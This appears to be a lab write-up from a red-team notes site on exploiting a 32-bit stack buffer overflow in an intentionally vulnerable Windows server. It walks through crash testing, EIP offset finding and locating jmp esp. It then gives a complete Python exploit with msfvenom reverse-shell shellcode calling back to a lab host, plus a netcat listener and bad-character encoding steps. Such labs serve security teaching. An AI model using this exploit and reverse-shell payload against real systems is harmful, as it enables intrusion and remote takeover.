Red Team Notes
  • What is ired.team notes?
  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
        • Bypassing Parent Child / Ancestry Detections
        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
      • Shellcode Reflective DLL Injection
      • Process Doppelganging
      • Loading and Executing Shellcode From PE Resources
      • Process Hollowing and Portable Executable Relocations
      • APC Queue Code Injection
      • Early Bird APC Queue Code Injection
      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
      • Shellcode Execution through Fibers
      • Shellcode Execution via CreateThreadpoolWait
      • Local Shellcode Execution without Windows APIs
      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
      • Writing Custom Shellcode Encoders and Decoders
      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
      • AddressOfEntryPoint Code Injection without VirtualAllocEx RWX
      • Module Stomping for Shellcode Injection
      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
      • Binary Exploitation
        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
        • SEH Based Buffer Overflow
        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
      • Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs
      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
      • Account Discovery & Enumeration
      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
      • Image File Execution Options Injection
      • Unquoted Service Paths
      • Pass The Hash: Privilege Escalation with Invoke-WMIExec
      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
      • Forcing WDigest to Store Credentials in Plaintext
      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
      • Shared Webroot
      • Lateral Movement via DCOM
      • WMI + MSI Lateral Movement
      • Lateral Movement via Service Configuration Manager
      • Lateral Movement via SMB Relaying
      • WMI + NewScheduledTaskAction Lateral Movement
      • WMI + PowerShell Desired State Configuration Lateral Movement
      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
Powered by GitBook
On this page
  • Overview
  • Vulnerability
  • Lab
  • Observing the Crash
  • Finding EIP Offset
  • Finding JMP ESP
  • Exploit Skeleton
  • Generating Shellcode
  • Executing Exploit
  • Finding Bad Characters
  • Generate Bad Characters String
  • Testing for Bad Characters
  • Encoding Shellcode
  • References
  1. offensive security
  2. Code & Process Injection
  3. Binary Exploitation

32-bit Stack-based Buffer Overflow

PreviousBinary ExploitationNext64-bit Stack-based Buffer Overflow

Last updated 3 years ago

This is a quick lab to capture a high level process of how to exploit a primitive stack-based buffer overlow vulnerability. This lab is based on an intentionally vulnerable 32-bit Windows program provided by .

Overview

Vulnerability

At a high level, exploiting a buffer overflow boils down to the following key points:

  • Attacker overflows vulnerable program's memory buffer by writing to it more data (including the malicious code, usually shellcode) than the program anticipated, but did nothing (bound checking) to prevent it from happening;

  • When a memory buffer is overflowed, the adjacent memory in the vulnerable program is replaced with malicious content supplied by an attacker;

  • Attacker subverts the vulnerable program and forces it to execute the malicious code, which was written to the compromised program's memory, when the program's memory buffer was overflowed;

  • The vulnerable program starts executing malicious code, and depending on what the vulnerable program is/what security context it runs in and whether it is being exploited locally or over the network, results in attacker escalating their privileges on an already compromised system or provides them with a remote access to system being exploited.

Lab

In this lab, we're going to exploit the vulnerable program and make it execute our shellcode by following the below process:

  • Send some data to the vulnerable program and observe it crash;

  • Inspect the program's registers at the time of the crash, focusing on EIP and ESP;

  • Send some more data to the vulnerable program, observe it crash and inspect the registers;

  • Determine if we can take control of / overwrite the EIP register;

  • Determine how much data we need to send to the vulnerable program, before we can overflow its stack and get control of the EIP;

  • Determine where our shellcode is written to, which as we will see soon, is pointed to by the ESP;

  • Find a memory address that contains the instruction jmp esp, so that we can point the EIP to this address, so that the vulnerable program transfers control to our shellcode (pointed to by the ESP) when the exploit is triggered;

  • Overflow the vulnerable program's stack with a buffer larger than it expected. The buffer will be crafted in such a way, that once in the vulnerable program's memory, it will have:

    • Written our shellcode;

    • Overwritten the function's return address in the stack with a memory address that contains the jmp esp instruction, which will force the vulnerable program to jump to our schellcode, once it tries to return after processing our supplied ovesized buffer;

  • Profit - receive a reverse shell from the vulnerable server.

Visually, a simplified diagram of the stack overflow vulnerability that we will exploit / vulnerable program's memory layout before and after the overflow would look something like this:

For the sake of simplicy of this lab, the vulnerable program:

  • does not filter out any characters in the shellcode, so that we do not need to deal with bad characters;

  • does not have a size constraint for our shellcode (it exists, but it does not concern us);

  • does not implement/enforce any memory protections;

Additionally, the shellcode in the vulnerable program is written to a memory address pointed to by the ESP register at the time of crash.

Observing the Crash

"hello" | nc 192.168.99.3 10000

The application crashed and at this time, its Execution Instruction Pointer (EIP) points at 778F54EE:

Let's see if we can get contol over the EIP register and try again by sending 200 A characters:

python -c "print('A'*200)" | nc 192.168.99.3 10000

After the program crashes, we see that the EIP still points to 778F54EE, however the ESP suggests that the buffer we sent (200 of A/0x41) to the vulnerable program, may be overwriting stack's conent with our buffer as we can see in the below screenshot in blue (and more of it on the left, where we see a bunch of A characters in the memory dump):

If we repeat the test with 270 A characters, we see that the EIP now points to 0A0D4141. Note that the last two bytes are AA (4141) - this suggests that we may be able to take control of the EIP and make it point to any arbitrary memory address within this process's memory, for example, a memory address that contains our shellcode (soon):

As a final test, let's send 300 A's + END!:

python -c "print('A'*300 + 'END!')" | nc 192.168.99.3 10000

...and observe the registers after the crash:

Note the following:

  • ESP (green) points to 0060FB20, which contains 41414141 (AAAA);

  • EIP (red) points to 41414141;

  • 0060FB3C (blue) contains 21444E45, which is our string END!.

Based on the above:

  • We have successfully smashed the stack, overwritten the function's return address and confirmed that we have control over the EIP register (we don't know the EIP's offset yet, but we will try to find it next), which we can now point to any arbitrary memory address. In this case, it points to 41414141, because we sent in a bunch of 0x41 bytes;

  • We can hypothesize that ESP (0060FB20, green) is where we would need to write our shellcode and somehow point the EIP to, in order for the vulnerable program to execute it. Let's call this a hyphothesis 1, so we can reference and confirm it later;

  • We can see that the the direction of the overflow is from the lower memory addresses to higher.

Finding EIP Offset

Based on the information observed until now, we've determined that we should be able to overwrite the EIP when sending 200-300 bytes to the vulnerable program. Let's see how we can find the EIP offset - that is, how many bytes exactly we need to send in, before we can overwrite the EIP with a memory address of our choice.

Let's generate a string pattern of 300 characters using a metasploit utility pattern_create:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Send that pattern to the vulnerable program:

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9" | nc 192.168.99.3 10000

...and observe the crash again:

From the above screenshot, note that:

  • EIP points to 6A413969 (red), which is part of the string pattern we submitted to the vulnerable program;

  • ESP points to 0060FB20 (green) - is indeed the memory address that we should place our shellcode. This confirms our hypothesis 1 that we raised earlier. This means that we will need to ensure that we overwrite the function's return address (the address it wants to return to when it finishes processing our oversized malicious buffer) with a memory address that contains the jmp esp instruction (we will find it next), which when executed, would make the program jump to our shellcode (because it's pointed to by the ESP) and execute it.

Now we have all the information we need in order to find the actual number of bytes we need to send to the vulnerable program, before we can overwrite the EIP and make it point to the 0060FB20 (ESP), as we've just learned above.

Let's use another metasploit utility pattern_offset for the job and supply it with the value seen in the EIP register at the time of the crash - 6A413969 (remember, this is part of that string pattern we sent to the vulnerable program):

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6A413969

This tells us that the EIP is at offset 268 and that we need to send 268 A's before we can overwrite it:

Let's test it by sending 268 * A + RETN +SHELLCODE* 10 - and, if our EIP offset calculations are correct, after the crash, the EIP should point to the string RETN:

python -c "print('A'*268 + 'RETN' + 'SHELLCODE'*10)"

...and observe the crash:

Note the following:

  • The EIP now points to 4E544552 (red), which is our string RETN in hex;

  • Immediately after the RETN, at 0060FB20 (green, pointed to by the ESP), we see our string SHELLCODE (green) repeated 10 times.

The above further confirms that we know how to control EIP and that our schellcode is pointed to by the ESP.

Finding JMP ESP

Now, that we know where our shellcode is going to be located and how to control the EIP register, we need to overwrite the EIP with a memory address that points to the start of our shellcode. Since, our shellcode is pointed to by the ESP, it means that we could overwrite the EIP with a memory address that contains the jmp esp instruction that would make the vulnerable program jump to the ESP and execute our shellcode after it completes processing our malicious buffer and wants to return to the caller function.

To find a memory address containing jmp esp instruction, we can simply use Ctrl+F jmp esp in xdbg and discover that jmp esp is located in 7798BD1B inside ntdll.dll:

Memory address for instruction set jmp esp on your system may be different as ntdll.dll is updated between different Windows versions.

Remember the memory address of jmp esp - 7798BD1B - we will need it soon for the exploit code.

Exploit Skeleton

Let's now build a quick python exploit code skeleton:

import socket, sys

# connect to a socket on a vulnerable server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.99.3", 10000))

# send A's
buf = b"A"*268

# overwrite EIP with string RETN
buf += b"RETN"

# shellcode
buf += b"SHELLCODE"

# send payload
sock.send(buf)
sock.close()

...and execute it against the vulnerable server to confirm everything still works as expected and that we see:

  • the RETN value in the EIP register

  • the string SHELLCODE next to the RETN

Generating Shellcode

Let's generate a shellcode for a simple reverse tcp shell (it will connect back to 192.168.99.2:443) for python:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.2 LPORT=443 -f python

Add it to the python exploit skeleton and replace the RETN on line 11 with the memory address containing jmp esp, which is 7798BD1B (as usual, mind the endianness) in my case:

exploit.py
import socket, sys

# connect to a socket on a vulnerable server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.99.3", 10000))

# send A's
buf = b"A"*268

# overwrite EIP with address containing jmp esp instructions (inside ntdll.dll in my case)
buf += b"\x1b\xbd\x98\x77"

# shellcode
buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += b"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += b"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x63\x02\x68"
buf += b"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += b"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
buf += b"\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
buf += b"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
buf += b"\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
buf += b"\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
buf += b"\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
buf += b"\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68"
buf += b"\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
buf += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

# send payload
sock.send(buf)
sock.close()

Executing Exploit

Let's now fire up a netcat listener on 192.168.99.2:443 to catch a reverse shell incoming from the vulnerable server 192.168.99.3:

nc -lvp 443

...and fire our exploit at the server running the vulnerable program:

python exploit.py

Below shows how netcat receives a reverse shell, concluding that the vulnerable program's stack was successfully overflowed and program's execution flow was subverted, which resulted in our shellcode getting executed, giving us the reverse shell:

Finding Bad Characters

Bad characters in the context of buffer overflow exploitation refers to the characters that cannot be used in the shellcode as they would interfere with the vulnerable program and most likely make it crash.

Although in this lab we did not have to deal with bad characters, below provided are some guidelines on the general process of how to identify bad characters and how to deal with them.

Generate Bad Characters String

Generate a list of all possible bad characters using bash:

for i in {0..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

...which results in the following:

x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Testing for Bad Characters

Update the exploit to ensure it sends that string of bad characters as the payload:

import socket, sys

# connect to a socket on a vulnerable server
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.99.3", 10000))

# send A's
buf = b"A"*268

# overwrite EIP with string RETN
buf += b"\x1b\xbd\x98\x77"
# 7798BD1B

# bad character testing payload
buf += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# send payload
sock.send(buf)
sock.close()

...test the exploit against the target and investigate the memory dump of the memory location pointed to by the EIP after the crash:

Note the memory dump in blue - it contains our string for testing bad characters that we sent to the vulnerable program as our payload. Since we can see all the bytes ranging from 0x00 through to 0xFF in the correct order with no bytes missing or mangled, this confirms that we did not have to deal with any bad characters with this vulnerable program.

If we, however, spotted that a character, say, 0x0A was replaced with some random character, say, 0xE3, this would indicate that 0x0A is a bad character:

Once a bad character is identified:

  • In the exploit code, replace that bad character with a known good character - any character going before it, that did not get modified by the vulnerable program. In my case, that could be any byte from 0x01 to 0x09. I chose 0x09 as shown in green in the above screenshot... or you could simply remove the bad character from the string for testing bad characters;

  • Fire the exploit against the target again;

  • Inspect the memory dump again to see if there are any other bad characters;

  • Repeat the process until all bad characters are identified.

Encoding Shellcode

Once all the bad characters are identified, we need to ensure that our shellcode that we send to the vulnerable program does not contain them. When generating shellcode with msfvenom, we can give it a list of bad characters by specifying the -b flag and those characters will be encoded / replaced by others. In my case, I'd invoke msfvenom with -b 0xa:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.2 LPORT=443 -f python -b 0x0a

Below shows how msfvenom fails a couple of times to encode the 0x0a byte when using shikata ga nai encoder, but succeeds eventually when using the call4 dword xor. Assuming 0x0a is the only bad character, the shellcode is now bad character-free and ready to use:

My notes about writing a custom shellcode encoders and decoders:

Could also be interested in:

References

As a first test, let's send a string hello to the vulnerable program running on 192.168.99.3:10000:

security tube
server-memcpy.exe
Writing Custom Shellcode Encoders and Decoders
Finding Kernel32 Base and Function Addresses in Shellcode
Buffer overflowWikipedia
Logo
Vulnerable program before and after its stack is overflowed with our malicious content
After the crash, the program's EIP points to 778F54EE
After the crash, the program's EIP points to 778F54EE
After the crash, the program's EIP points to 778F54EE, stack's content is being overwritten
Getting closer to identifying the EIP offset
EIP is overwritten and ESP points to the shellcode
One step further to identifying the exact EIP offset
Confirming EIP control at offset 268 and that shellcode is pointed to by the ESP
Locating memory address that contains JMP ESP instruction
Python exploit skeleton confirmed that everything works as expected
msfvenon generates shellcode for a tcp reverse shell
Stack is overflowed and shellcode is executed, resulting in a reverse shell
String of characters for identifying bad characters
Testing for bad characters. A string of characters from 0x00-0xFF as a payload
0xa0 is identified as a bad character
Shellcode's bad characters getting encoded